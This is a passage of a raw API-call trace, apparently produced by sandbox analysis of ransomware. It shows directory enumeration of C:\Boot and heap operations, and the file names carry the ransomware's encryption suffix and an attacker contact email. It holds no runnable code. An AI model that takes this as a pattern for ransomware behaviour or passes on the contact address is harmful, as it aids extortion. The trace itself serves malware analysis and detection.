ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xcd7f8ff3, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WINDOW~4.KR")) returned 0 [0175.416] FindClose (in: hFindFile=0x43a380 | out: hFindFile=0x43a380) returned 1 [0175.416] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.417] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x3b3fcf8 | out: lpFindFileData=0x3b3fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc7d52706, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7d52706, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77580000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0175.417] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0175.417] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc7d52706, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7d52706, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4420920 [0175.418] FindNextFileW (in: hFindFile=0x4420920, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc7d52706, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7d52706, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0175.418] FindNextFileW (in: hFindFile=0x4420920, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0175.418] FindNextFileW (in: hFindFile=0x4420920, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0175.418] FindNextFileW (in: hFindFile=0x4420920, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0175.418] FindNextFileW (in: hFindFile=0x4420920, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0175.418] FindNextFileW (in: hFindFile=0x4420920, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0175.418] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4400060 [0175.419] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420960 [0175.419] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.419] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.419] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.419] FindClose (in: hFindFile=0x4420960 | out: hFindFile=0x4420960) returned 1 [0175.419] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.419] FindNextFileW (in: hFindFile=0x4420920, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0175.419] FindNextFileW (in: hFindFile=0x4420920, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc7d2df57, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7d2df57, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7d52706, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="BOOTST~1.KR")) returned 1 [0175.419] FindNextFileW (in: hFindFile=0x4420920, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0175.420] FindNextFileW (in: hFindFile=0x4420920, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0175.420] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4400060 [0175.420] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420d60 [0175.420] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.420] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.422] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.422] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4400060 [0175.427] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.428] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.429] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.429] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.430] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.431] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.431] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.432] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.433] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.646] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.647] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.647] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.647] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.647] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.647] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.648] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.648] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.648] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.648] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.648] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.648] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.648] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.648] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.649] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.649] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.649] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.649] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.649] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.649] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.649] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.649] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.650] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.650] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.650] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.650] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.650] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.650] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.650] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.650] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.651] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.651] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.651] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.831] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.876] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.877] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.881] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.883] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.884] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.884] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.884] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.885] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.885] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.885] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.888] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.888] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.889] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.889] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.889] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.890] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.890] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.892] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0175.893] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0175.895] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0175.897] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0175.897] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0175.898] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0175.898] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0175.899] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0175.899] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0175.900] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0175.900] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.900] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.900] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.900] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.901] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.901] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a9ba8, Size=0x4000) returned 0x3d35a48 [0175.903] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.903] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.903] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.904] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.905] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.905] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.905] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.908] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.908] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.908] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.908] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.909] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.909] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.909] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.910] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.910] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.911] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.911] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.911] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.912] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.912] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.912] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.913] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.915] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0175.915] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.042] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.042] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.046] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.047] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.047] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.047] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.049] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.049] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.050] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.054] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0176.054] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.054] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.055] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0176.056] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0176.063] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.063] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.063] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.066] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.066] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.068] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.068] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.068] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0176.069] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0176.072] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.072] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0176.073] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: 